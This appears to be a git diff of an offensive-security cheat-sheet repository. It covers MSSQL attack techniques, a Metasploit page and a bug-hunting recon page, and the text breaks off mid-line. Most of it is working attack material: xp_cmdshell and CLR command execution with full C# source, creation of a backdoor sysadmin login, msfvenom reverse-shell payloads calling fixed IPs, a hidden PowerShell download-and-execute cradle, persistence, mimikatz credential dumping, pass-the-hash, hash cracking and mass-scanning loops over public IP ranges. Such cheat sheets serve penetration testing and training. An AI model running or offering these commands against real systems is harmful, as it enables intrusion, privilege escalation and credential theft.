select 1 from openquery("linkedserver",'select 1;exec master..xp_cmdshell "dir c:"')
-- create user and give admin privileges
EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
```
### Crawl Links for Instances in the Domain
A Valid Link Will Be Identified by the DatabaseLinkName Field in the Results
```ps1
Get-SQLInstanceDomain | Get-SQLServerLink -Verbose
select * from master..sysservers
```
### Crawl Links for a Specific Instance
```ps1
Get-SQLServerLinkCrawl -Instance "<DBSERVERNAME\DBInstance>" -Verbose
select * from openquery("<instance>",'select * from openquery("<instance2>",''select * from master..sysservers'')')
```
### Query Version of Linked Database
```ps1
Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DBSERVERNAME\DBInstance>`",'select @@version')" -Verbose
```
### Execute Procedure on Linked Database
```ps1
SQL> EXECUTE('EXEC sp_configure ''show advanced options'',1') at "linked.database.local";
SQL> EXECUTE('RECONFIGURE') at "linked.database.local";
SQL> EXECUTE('EXEC sp_configure ''xp_cmdshell'',1;') at "linked.database.local";
SQL> EXECUTE('RECONFIGURE') at "linked.database.local";
SQL> EXECUTE('exec xp_cmdshell whoami') at "linked.database.local";
```
### Determine Names of Linked Databases
> tempdb, model ,and msdb are default databases usually not worth looking into. Master is also default but may have something and anything else is custom and definitely worth digging into. The result is DatabaseName which feeds into following query.
```ps1
Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DatabaseLinkName>`",'select name from sys.databases')" -Verbose
```
### Determine All the Tables Names from a Selected Linked Database
> The result is TableName which feeds into following query
```ps1
Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DatabaseLinkName>`",'select name from <DatabaseNameFromPreviousCommand>.sys.tables')" -Verbose
```
### Gather the Top 5 Columns from a Selected Linked Table
> The results are ColumnName and ColumnValue which feed into following query
```ps1
Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DatabaseLinkName>`",'select TOP 5 * from <DatabaseNameFromPreviousCommand>.dbo.<TableNameFromPreviousCommand>')" -Verbose
```
### Gather Entries from a Selected Linked Column
```ps1
Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DatabaseLinkName>`"'select * from <DatabaseNameFromPreviousCommand>.dbo.<TableNameFromPreviousCommand> where <ColumnNameFromPreviousCommand>=<ColumnValueFromPreviousCommand>')" -Verbose
```
## Command Execution via xp_cmdshell
> xp_cmdshell disabled by default since SQL Server 2005
```ps1
PowerUpSQL> Invoke-SQLOSCmd -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command whoami
# Creates and adds local user backup to the local administrators group:
PowerUpSQL> Invoke-SQLOSCmd -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "net user backup Password1234 /add'" -Verbose
PowerUpSQL> Invoke-SQLOSCmd -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "net localgroup administrators backup /add" -Verbose
```
* Manually execute the SQL query
```sql
EXEC xp_cmdshell "net user";
EXEC master..xp_cmdshell 'whoami'
EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:';
EXEC master.dbo.xp_cmdshell 'ping 127.0.0.1';
```
* If you need to reactivate xp_cmdshell (disabled by default in SQL Server 2005)
```sql
EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;
```
* If the procedure was uninstalled
```sql
sp_addextendedproc 'xp_cmdshell','xplog70.dll'
```
## Extended Stored Procedure
### Add the extended stored procedure and list extended stored procedures
```ps1
# Create evil DLL
Create-SQLFileXpDll -OutFile C:\temp\test.dll -Command "echo test > c:\temp\test.txt" -ExportName xp_test
# Load the DLL and call xp_test
Get-SQLQuery -UserName sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Query "sp_addextendedproc 'xp_test', '\\10.10.0.1\temp\test.dll'"
Get-SQLQuery -UserName sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Query "EXEC xp_test"
# Listing existing
Get-SQLStoredProcedureXP -Instance "<DBSERVERNAME\DBInstance>" -Verbose
```
* Build a DLL using [xp_evil_template.cpp](https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/xp_evil_template.cpp)
* Load the DLL
```sql
-- can also be loaded from UNC path or Webdav
sp_addextendedproc 'xp_calc', 'C:\mydll\xp_calc.dll'
EXEC xp_calc
sp_dropextendedproc 'xp_calc'
```
## CLR Assemblies
Prerequisites:
* sysadmin privileges
* CREATE ASSEMBLY permission (or)
* ALTER ASSEMBLY permission (or)
The execution takes place with privileges of the **service account**.
### Execute commands using CLR assembly
```ps1
# Create C# code for the DLL, the DLL and SQL query with DLL as hexadecimal string
Create-SQLFileCLRDll -ProcedureName "runcmd" -OutFile runcmd -OutDir C:\Users\user\Desktop
# Execute command using CLR assembly
Invoke-SQLOSCmdCLR -Username sa -Password <password> -Instance <instance> -Command "whoami" -Verbose
Invoke-SQLOSCmdCLR -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "whoami" Verbose
Invoke-SQLOSCmdCLR -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "powershell -e <base64>" -Verbose
# List all the stored procedures added using CLR
Get-SQLStoredProcedureCLR -Instance <instance> -Verbose
```
### Manually creating a CLR DLL and importing it
Create a C# DLL file with the following content, with the command : `C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library c:\temp\cmd_exec.cs`
```csharp
using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.IO;
using System.Diagnostics;
using System.Text;
public partial class StoredProcedures
{
[Microsoft.SqlServer.Server.SqlProcedure]
public static void cmd_exec (SqlString execCommand)
{
Process proc = new Process();
proc.StartInfo.FileName = @"C:\Windows\System32\cmd.exe";
proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand.Value);
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.RedirectStandardOutput = true;
proc.Start();
// Create the record and specify the metadata for the columns.
SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000));
// Mark the beginning of the result set.
SqlContext.Pipe.SendResultsStart(record);
// Set values for each column in the row
record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());
// Send the row back to the client.
SqlContext.Pipe.SendResultsRow(record);
// Mark the end of the result set.
SqlContext.Pipe.SendResultsEnd();
proc.WaitForExit();
proc.Close();
}
};
```
Then follow these instructions:
1. Enable `show advanced options` on the server
```sql
sp_configure 'show advanced options',1;
RECONFIGURE
GO
```
2. Enable CLR on the server
```sql
sp_configure 'clr enabled',1
RECONFIGURE
GO
```
3. Import the assembly
```sql
CREATE ASSEMBLY my_assembly
FROM 'c:\temp\cmd_exec.dll'
WITH PERMISSION_SET = UNSAFE;
```
4. Link the assembly to a stored procedure
```sql
CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [my_assembly].[StoredProcedures].[cmd_exec];
GO
```
5. Execute and clean
```sql
cmd_exec "whoami"
DROP PROCEDURE cmd_exec
DROP ASSEMBLY my_assembly
```
**CREATE ASSEMBLY** will also accept an hexadecimal string representation of a CLR DLL
```sql
CREATE ASSEMBLY [my_assembly] AUTHORIZATION [dbo] FROM
0x4D5A90000300000004000000F[TRUNCATED]
WITH PERMISSION_SET = UNSAFE
GO
```
## OLE Automation
* :warning: Disabled by default
* The execution takes place with privileges of the **service account**.
### Execute commands using OLE automation procedures
```ps1
Invoke-SQLOSCmdOle -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "whoami" Verbose
```
```ps1
# Enable OLE Automation
EXEC sp_configure 'show advanced options', 1
EXEC sp_configure reconfigure
EXEC sp_configure 'OLE Automation Procedures', 1
EXEC sp_configure reconfigure
# Execute commands
DECLARE @execmd INT
EXEC SP_OACREATE 'wscript.shell', @execmd OUTPUT
EXEC SP_OAMETHOD @execmd, 'run', null, '%systemroot%\system32\cmd.exe /c'
```
```powershell
# https://github.com/blackarrowsec/mssqlproxy/blob/master/mssqlclient.py
python3 mssqlclient.py 'host/username:password@10.10.10.10' -install -clr Microsoft.SqlServer.Proxy.dll
python3 mssqlclient.py 'host/username:password@10.10.10.10' -check -reciclador 'C:\windows\temp\reciclador.dll'
python3 mssqlclient.py 'host/username:password@10.10.10.10' -start -reciclador 'C:\windows\temp\reciclador.dll'
SQL> enable_ole
SQL> upload reciclador.dll C:\windows\temp\reciclador.dll
```
## Agent Jobs
* The execution takes place with privileges of the **SQL Server Agent service account** if a proxy account is not configured.
* :warning: Require **sysadmin** or **SQLAgentUserRole**, **SQLAgentReaderRole**, and **SQLAgentOperatorRole** roles to create a job.
### Execute commands through SQL Agent Job service
```ps1
Invoke-SQLOSCmdAgentJob -Subsystem PowerShell -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "powershell e <base64encodedscript>" -Verbose
Subsystem Options:
Subsystem CmdExec
-SubSystem PowerShell
Subsystem VBScript
Subsystem Jscript
```
```sql
USE msdb;
EXEC dbo.sp_add_job @job_name = N'test_powershell_job1';
EXEC sp_add_jobstep @job_name = N'test_powershell_job1', @step_name = N'test_powershell_name1', @subsystem = N'PowerShell', @command = N'$name=$env:COMPUTERNAME[10];nslookup "$name.redacted.burpcollaborator.net"', @retry_attempts = 1, @retry_interval = 5 ;
EXEC dbo.sp_add_jobserver @job_name = N'test_powershell_job1';
EXEC dbo.sp_start_job N'test_powershell_job1';
-- delete
EXEC dbo.sp_delete_job @job_name = N'test_powershell_job1';
```
### List All Jobs
```ps1
SELECT job_id, [name] FROM msdb.dbo.sysjobs;
SELECT job.job_id, notify_level_email, name, enabled, description, step_name, command, server, database_name FROM msdb.dbo.sysjobs job INNER JOIN msdb.dbo.sysjobsteps steps ON job.job_id = steps.job_id
Get-SQLAgentJob -Instance "<DBSERVERNAME\DBInstance>" -username sa -Password Password1234 -Verbose
```
## External Scripts
:warning: You need to enable **external scripts**.
```sql
sp_configure 'external scripts enabled', 1;
RECONFIGURE;
```
## Python:
```ps1
Invoke-SQLOSCmdPython -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "powershell -e <base64encodedscript>" -Verbose
EXEC sp_execute_external_script @language =N'Python',@script=N'import subprocess p = subprocess.Popen("cmd.exe /c whoami", stdout=subprocess.PIPE) OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])'
WITH RESULT SETS (([cmd_out] nvarchar(max)))
```
## R
```ps1
Invoke-SQLOSCmdR -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "powershell -e <base64encodedscript>" -Verbose
EXEC sp_execute_external_script @language=N'R',@script=N'OutputDataSet <- data.frame(system("cmd.exe /c dir",intern=T))'
WITH RESULT SETS (([cmd_out] text));
GO
@script=N'OutputDataSet <-data.frame(shell("dir",intern=T))'
```
## Audit Checks
### Find and exploit impersonation opportunities
* Impersonate as: `EXECUTE AS LOGIN = 'sa'`
* Impersonate `dbo` with DB_OWNER
```sql
SQL> select is_member('db_owner');
SQL> execute as user = 'dbo'
SQL> SELECT is_srvrolemember('sysadmin')
```
```ps1
Invoke-SQLAuditPrivImpersonateLogin -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Exploit -Verbose
# impersonate sa account
powerpick Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "EXECUTE AS LOGIN = 'sa'; SELECT IS_SRVROLEMEMBER(''sysadmin'')" -Verbose -Debug
```
## Find databases that have been configured as trustworthy
```sql
Invoke-SQLAuditPrivTrustworthy -Instance "<DBSERVERNAME\DBInstance>" -Exploit -Verbose
SELECT name as database_name, SUSER_NAME(owner_sid) AS database_owner, is_trustworthy_on AS TRUSTWORTHY from sys.databases
```
> The following audit checks run web requests to load Inveigh via reflection. Be mindful of the environment and ability to connect outbound.
```ps1
Invoke-SQLAuditPrivXpDirtree
Invoke-SQLUncPathInjection
Invoke-SQLAuditPrivXpFileexist
```
## Manual SQL Server Queries
### Query Current User & determine if the user is a sysadmin
```sql
select suser_sname()
Select system_user
select is_srvrolemember('sysadmin')
```
### Current Role
```sql
Select user
```
### Current DB
```sql
select db_name()
```
### List all tables
```sql
select table_name from information_schema.tables
```
### List all databases
```sql
select name from master..sysdatabases
```
### All Logins on Server
```sql
Select * from sys.server_principals where type_desc != 'SERVER_ROLE'
```
### All Database Users for a Database
```sql
Select * from sys.database_principals where type_desc != 'database_role';
```
### List All Sysadmins
```sql
SELECT name,type_desc,is_disabled FROM sys.server_principals WHERE IS_SRVROLEMEMBER ('sysadmin',name) = 1
```
### List All Database Roles
```sql
SELECT DB1.name AS DatabaseRoleName,
isnull (DB2.name, 'No members') AS DatabaseUserName
FROM sys.database_role_members AS DRM
RIGHT OUTER JOIN sys.database_principals AS DB1
ON DRM.role_principal_id = DB1.principal_id
LEFT OUTER JOIN sys.database_principals AS DB2
ON DRM.member_principal_id = DB2.principal_id
WHERE DB1.type = 'R'
ORDER BY DB1.name;
```
### Effective Permissions from the Server
```sql
select * from fn_my_permissions(null, 'server');
```
### Effective Permissions from the Database
```sql
SELECT * FROM fn_dp1my_permissions(NULL, 'DATABASE');
```
### Find SQL Server Logins Which can be Impersonated for the Current Database
```sql
select distinct b.name
from sys.server_permissions a
inner join sys.server_principals b
on a.grantor_principal_id = b.principal_id
where a.permission_name = 'impersonate'
```
### Exploiting Impersonation
```sql
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
EXECUTE AS LOGIN = 'adminuser'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
SELECT ORIGINAL_LOGIN()
```
### Exploiting Nested Impersonation
```sql
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
EXECUTE AS LOGIN = 'stduser'
SELECT SYSTEM_USER
EXECUTE AS LOGIN = 'sa'
SELECT IS_SRVROLEMEMBER('sysadmin')
SELECT ORIGINAL_LOGIN()
SELECT SYSTEM_USER
```
### MSSQL Accounts and Hashes
```sql
MSSQL 2000:
SELECT name, password FROM master..sysxlogins
SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins (Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer.)
MSSQL 2005
SELECT name, password_hash FROM master.sys.sql_logins
SELECT name + '-' + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins
```
Then crack passwords using Hashcat : `hashcat -m 1731 -a 0 mssql_hashes_hashcat.txt /usr/share/wordlists/rockyou.txt --force`
```ps1
131 MSSQL (2000) 0x01002702560500000000000000000000000000000000000000008db43dd9b1972a636ad0c7d4b8c515cb8ce46578
132 MSSQL (2005) 0x010018102152f8f28c8499d8ef263c53f8be369d799f931b2fbe
1731 MSSQL (2012, 2014) 0x02000102030434ea1b17802fd95ea6316bd61d2c94622ca3812793e8fb1672487b5c904a45a31b2ab4a78890d563d2fcf5663e46fe797d71550494be50cf4915d3f4d55ec375
```
## References
* [PowerUpSQL Cheat Sheet & SQL Server Queries - Leo Pitt](https://medium.com/@D00MFist/powerupsql-cheat-sheet-sql-server-queries-40e1c418edc3)
* [PowerUpSQL Cheat Sheet - Scott Sutherland](https://github.com/NetSPI/PowerUpSQL/wiki/PowerUpSQL-Cheat-Sheet)
* [Attacking SQL Server CLR Assemblies - Scott Sutherland - July 13th, 2017](https://blog.netspi.com/attacking-sql-server-clr-assemblies/)
* [MSSQL Agent Jobs for Command Execution - Nicholas Popovich - September 21, 2016](https://www.optiv.com/explore-optiv-insights/blog/mssql-agent-jobs-command-execution)

View File

@@ -1,240 +1,23 @@
# Metasploit # Metasploit
## Summary :warning: Content of this page has been moved to [InternalAllTheThings/command-control/metasploit](https://swisskyrepo.github.io/InternalAllTheThings/command-control/metasploit/)
* [Installation](#installation) - [Installation](https://swisskyrepo.github.io/InternalAllTheThings/command-control/metasploit/#installation)
* [Sessions](#sessions) - [Sessions](https://swisskyrepo.github.io/InternalAllTheThings/command-control/metasploit/#sessions)
* [Background handler](#background-handler) - [Background handler](https://swisskyrepo.github.io/InternalAllTheThings/command-control/metasploit/#background-handler)
* [Meterpreter - Basic](#meterpreter---basic) - [Meterpreter - Basic](https://swisskyrepo.github.io/InternalAllTheThings/command-control/metasploit/#meterpreter---basic)
* [Generate a meterpreter](#generate-a-meterpreter) - [Generate a meterpreter](https://swisskyrepo.github.io/InternalAllTheThings/command-control/metasploit/#generate-a-meterpreter)
* [Meterpreter Webdelivery](#meterpreter-webdelivery) - [Meterpreter Webdelivery](https://swisskyrepo.github.io/InternalAllTheThings/command-control/metasploit/#meterpreter-webdelivery)
* [Get System](#get-system) - [Get System](https://swisskyrepo.github.io/InternalAllTheThings/command-control/metasploit/#get-system)
* [Persistence Startup](#persistence-startup) - [Persistence Startup](https://swisskyrepo.github.io/InternalAllTheThings/command-control/metasploit/#persistence-startup)
* [Network Monitoring](#network-monitoring) - [Network Monitoring](https://swisskyrepo.github.io/InternalAllTheThings/command-control/metasploit/#network-monitoring)
* [Portforward](#portforward) - [Portforward](https://swisskyrepo.github.io/InternalAllTheThings/command-control/metasploit/#portforward)
* [Upload / Download](#upload---download) - [Upload / Download](https://swisskyrepo.github.io/InternalAllTheThings/command-control/metasploit/#upload---download)
* [Execute from Memory](#execute-from-memory) - [Execute from Memory](https://swisskyrepo.github.io/InternalAllTheThings/command-control/metasploit/#execute-from-memory)
* [Mimikatz](#mimikatz) - [Mimikatz](https://swisskyrepo.github.io/InternalAllTheThings/command-control/metasploit/#mimikatz)
* [Pass the Hash - PSExec](#pass-the-hash---psexec) - [Pass the Hash - PSExec](https://swisskyrepo.github.io/InternalAllTheThings/command-control/metasploit/#pass-the-hash---psexec)
* [Use SOCKS Proxy](#use-socks-proxy) - [Use SOCKS Proxy](https://swisskyrepo.github.io/InternalAllTheThings/command-control/metasploit/#use-socks-proxy)
* [Scripting Metasploit](#scripting-metasploit) - [Scripting Metasploit](https://swisskyrepo.github.io/InternalAllTheThings/command-control/metasploit/#scripting-metasploit)
* [Multiple transports](#multiple-transports) - [Multiple transports](https://swisskyrepo.github.io/InternalAllTheThings/command-control/metasploit/#multiple-transports)
* [Best of - Exploits](#best-of---exploits) - [Best of - Exploits](https://swisskyrepo.github.io/InternalAllTheThings/command-control/metasploit/#best-of---exploits)
* [References](#references) - [References](https://swisskyrepo.github.io/InternalAllTheThings/command-control/metasploit/#references)
## Installation
```powershell
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall
```
or docker
```powershell
sudo docker run --rm -it -p 443:443 -v ~/.msf4:/root/.msf4 -v /tmp/msf:/tmp/data remnux/metasploit
```
## Sessions
```powershell
CTRL+Z -> Session in Background
sessions -> List sessions
sessions -i session_number -> Interact with Session with id
sessions -u session_number -> Upgrade session to a meterpreter
sessions -u session_number LPORT=4444 PAYLOAD_OVERRIDE=meterpreter/reverse_tcp HANDLER=false-> Upgrade session to a meterpreter
sessions -c cmd -> Execute a command on several sessions
sessions -i 10-20 -c "id" -> Execute a command on several sessions
```
## Background handler
ExitOnSession : the handler will not exit if the meterpreter dies.
```powershell
screen -dRR
sudo msfconsole
use exploit/multi/handler
set PAYLOAD generic/shell_reverse_tcp
set LHOST 0.0.0.0
set LPORT 4444
set ExitOnSession false
generate -o /tmp/meterpreter.exe -f exe
to_handler
[ctrl+a] + [d]
```
## Meterpreter - Basic
### Generate a meterpreter
```powershell
$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f elf > shell.elf
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f exe > shell.exe
$ msfvenom -p osx/x86/shell_reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f macho > shell.macho
$ msfvenom -p php/meterpreter_reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f raw > shell.php; cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f asp > shell.asp
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f raw > shell.jsp
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f war > shell.war
$ msfvenom -p cmd/unix/reverse_python LHOST="10.10.10.110" LPORT=4242 -f raw > shell.py
$ msfvenom -p cmd/unix/reverse_bash LHOST="10.10.10.110" LPORT=4242 -f raw > shell.sh
$ msfvenom -p cmd/unix/reverse_perl LHOST="10.10.10.110" LPORT=4242 -f raw > shell.pl
```
### Meterpreter Webdelivery
Set up a Powershell web delivery listening on port 8080.
```powershell
use exploit/multi/script/web_delivery
set TARGET 2
set payload windows/x64/meterpreter/reverse_http
set LHOST 10.0.0.1
set LPORT 4444
run
```
```powershell
powershell.exe -nop -w hidden -c $g=new-object net.webclient;$g.proxy=[Net.WebRequest]::GetSystemWebProxy();$g.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $g.downloadstring('http://10.0.0.1:8080/rYDPPB');
```
### Get System
```powershell
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```
### Persistence Startup
```powershell
OPTIONS:
-A Automatically start a matching exploit/multi/handler to connect to the agent
-L <opt> Location in target host to write payload to, if none %TEMP% will be used.
-P <opt> Payload to use, default is windows/meterpreter/reverse_tcp.
-S Automatically start the agent on boot as a service (with SYSTEM privileges)
-T <opt> Alternate executable template to use
-U Automatically start the agent when the User logs on
-X Automatically start the agent when the system boots
-h This help menu
-i <opt> The interval in seconds between each connection attempt
-p <opt> The port on which the system running Metasploit is listening
-r <opt> The IP of the system running Metasploit listening for the connect back
meterpreter > run persistence -U -p 4242
```
### Network Monitoring
```powershell
# list interfaces
run packetrecorder -li
# record interface n°1
run packetrecorder -i 1
```
### Portforward
```powershell
portfwd add -l 7777 -r 172.17.0.2 -p 3006
```
### Upload / Download
```powershell
upload /path/in/hdd/payload.exe exploit.exe
download /path/in/victim
```
### Execute from Memory
```powershell
execute -H -i -c -m -d calc.exe -f /root/wce.exe -a -w
```
### Mimikatz
```powershell
load mimikatz
mimikatz_command -f version
mimikatz_command -f samdump::hashes
mimikatz_command -f sekurlsa::wdigest
mimikatz_command -f sekurlsa::searchPasswords
mimikatz_command -f sekurlsa::logonPasswords full
```
```powershell
load kiwi
creds_all
golden_ticket_create -d <domainname> -k <nthashof krbtgt> -s <SID without le RID> -u <user_for_the_ticket> -t <location_to_store_tck>
```
### Pass the Hash - PSExec
```powershell
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
msf exploit(psexec) > exploit
SMBDomain WORKGROUP no The Windows domain to use for authentication
SMBPass 598ddce2660d3193aad3b435b51404ee:2d20d252a479f485cdf5e171d93985bf no The password for the specified username
SMBUser Lambda no The username to authenticate as
```
### Use SOCKS Proxy
```powershell
setg Proxies socks4:127.0.0.1:1080
```
## Scripting Metasploit
Using a `.rc file`, write the commands to execute, then run `msfconsole -r ./file.rc`.
Here is a simple example to script the deployment of a handler an create an Office doc with macro.
```powershell
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_https
set LHOST 0.0.0.0
set LPORT 4646
set ExitOnSession false
exploit -j -z
use exploit/multi/fileformat/office_word_macro
set PAYLOAD windows/meterpreter/reverse_https
set LHOST 10.10.14.22
set LPORT 4646
exploit
```
## Multiple transports
```powershell
msfvenom -p windows/meterpreter_reverse_tcp lhost=<host> lport=<port> sessionretrytotal=30 sessionretrywait=10 extensions=stdapi,priv,powershell extinit=powershell,/home/ionize/AddTransports.ps1 -f exe
```
Then, in AddTransports.ps1
```powershell
Add-TcpTransport -lhost <host> -lport <port> -RetryWait 10 -RetryTotal 30
Add-WebTransport -Url http(s)://<host>:<port>/<luri> -RetryWait 10 -RetryTotal 30
```
## Best of - Exploits
* MS17-10 Eternal Blue - `exploit/windows/smb/ms17_010_eternalblue`
* MS08_67 - `exploit/windows/smb/ms08_067_netapi`
## References
* [Multiple transports in a meterpreter payload - ionize](https://ionize.com.au/multiple-transports-in-a-meterpreter-payload/)
* [Creating Metasploit Payloads - Peleus](https://netsec.ws/?p=331)

View File

@@ -1,212 +1,17 @@
# Bug Hunting Methodology and Enumeration # Bug Hunting Methodology and Enumeration
:warning: Content of this page has been moved to [InternalAllTheThings/methodology/bug-hunting-methodology](https://swisskyrepo.github.io/InternalAllTheThings/methodology/bug-hunting-methodology/)
## Summary ## Summary
* [Passive Recon](#passive-recon) - [Passive Recon](https://swisskyrepo.github.io/InternalAllTheThings/methodology/bug-hunting-methodology/#passive-recon)
* Shodan - Shodan
* Wayback Machine - Wayback Machine
* The Harvester - The Harvester
- Github OSINT
* [Active Recon](#active-recon) - [Active Recon](https://swisskyrepo.github.io/InternalAllTheThings/methodology/bug-hunting-methodology/#active-recon)
* Network discovery - [Network discovery](https://swisskyrepo.github.io/InternalAllTheThings/methodology/bug-hunting-methodology/#network-discovery)
* RPCClient - [Web discovery](https://swisskyrepo.github.io/InternalAllTheThings/methodology/bug-hunting-methodology/#web-discovery)
* Enum4all
* [List all the subdirectories and files](#list-all-the-subdirectories-and-files) - [Web Vulnerabilities](https://swisskyrepo.github.io/InternalAllTheThings/methodology/bug-hunting-methodology/#looking-for-web-vulnerabilities)
* Gobuster
* Backup File Artifacts Checker
* [Web Vulnerabilities](#looking-for-web-vulnerabilities)
* Repository Github
* Burp
* Web Checklist
* Nikto
* Payment functionality
## Passive recon
* Using Shodan (https://www.shodan.io/) to detect similar app
```bash
can be integrated with nmap (https://github.com/glennzw/shodan-hq-nse)
nmap --script shodan-hq.nse --script-args 'apikey=<yourShodanAPIKey>,target=<hackme>'
```
* Using The Wayback Machine (https://archive.org/web/) to detect forgotten endpoints
```bash
look for JS files, old links
curl -sX GET "http://web.archive.org/cdx/search/cdx?url=<targetDomain.com>&output=text&fl=original&collapse=urlkey&matchType=prefix"
```
* Using The Harvester (https://github.com/laramies/theHarvester)
```python
python theHarvester.py -b all -d domain.com
```
## Active recon
* [Network discovery](Network%20Discovery.md) with masscan, nmap etc.
* rpcclient
```bash
$ rpcclient -U '%' [target host]
rpcclient $> querydominfo
Domain: WORKGROUP
Server: METASPLOITABLE
Comment: metasploitable server (Samba 3.0.20-Debian)
Total Users: 35
rpcclient $> enumdomusers
user:[games] rid:[0x3f2]
user:[nobody] rid:[0x1f5]
user:[bind] rid:[0x4ba]
```
* enum4linux
```bash
enum4linux v0.8.9 (http://labs.portcullis.co.uk/application/enum4linux/)
Usage: ./enum4linux.pl [options] ip
-U get userlist
-M get machine list*
-S get sharelist
-P get password policy information
-G get group and member list
-d be detailed, applies to -U and -S
-u user specify username to use (default “”)
-p pass specify password to use (default “”
-a Do all simple enumeration (-U -S -G -P -r -o -n -i).
-o Get OS information
-i Get printer information
==============================
| Users on XXX.XXX.XXX.XXX |
==============================
index: 0x1 Account: games Name: games Desc: (null)
index: 0x2 Account: nobody Name: nobody Desc: (null)
index: 0x3 Account: bind Name: (null) Desc: (null)
index: 0x4 Account: proxy Name: proxy Desc: (null)
index: 0x5 Account: syslog Name: (null) Desc: (null)
index: 0x6 Account: user Name: just a user,111,, Desc: (null)
index: 0x7 Account: www-data Name: www-data Desc: (null)
index: 0x8 Account: root Name: root Desc: (null)
```
* Zone Transfer
```powershell
host -t ns domain.local
domain.local name server master.domain.local.
host master.domain.local
master.domain.local has address 192.168.1.1
dig axfr domain.local @192.168.1.1
```
## List all the subdirectories and files
* Using BFAC (Backup File Artifacts Checker): An automated tool that checks for backup artifacts that may disclose the web-application's source code.
```bash
git clone https://github.com/mazen160/bfac
Check a single URL
bfac --url http://example.com/test.php --level 4
Check a list of URLs
bfac --list testing_list.txt
```
* Using DirBuster or GoBuster
```bash
./gobuster -u http://buffered.io/ -w words.txt -t 10
-u url
-w wordlist
-t threads
More subdomain :
./gobuster -m dns -w subdomains.txt -u google.com -i
gobuster -w wordlist -u URL -r -e
```
* Using a script to detect all phpinfo.php files in a range of IPs (CIDR can be found with a whois)
```bash
#!/bin/bash
for ipa in 98.13{6..9}.{0..255}.{0..255}; do
wget -t 1 -T 3 http://${ipa}/phpinfo.php; done &
```
* Using a script to detect all .htpasswd files in a range of IPs
```bash
#!/bin/bash
for ipa in 98.13{6..9}.{0..255}.{0..255}; do
wget -t 1 -T 3 http://${ipa}/.htpasswd; done &
```
## Looking for Web vulnerabilities
* Look for private information in GitHub repos with GitRob
```bash
git clone https://github.com/michenriksen/gitrob.git
gitrob analyze johndoe --site=https://github.acme.com --endpoint=https://github.acme.com/api/v3 --access-tokens=token1,token2
```
* Explore the website with a proxy (ZAP/Burp Suite)
1. Start proxy, visit the main target site and perform a Forced Browse to discover files and directories
2. Map technologies used with Wappalyzer and Burp Suite (or ZAP) proxy
3. Explore and understand available functionality, noting areas that correspond to vulnerability types
```bash
Burp Proxy configuration on port 8080 (in .bashrc):
alias set_proxy_burp='gsettings set org.gnome.system.proxy.http host "http://localhost";gsettings set org.gnome.system.proxy.http port 8080;gsettings set org.gnome.system.proxy mode "manual"'
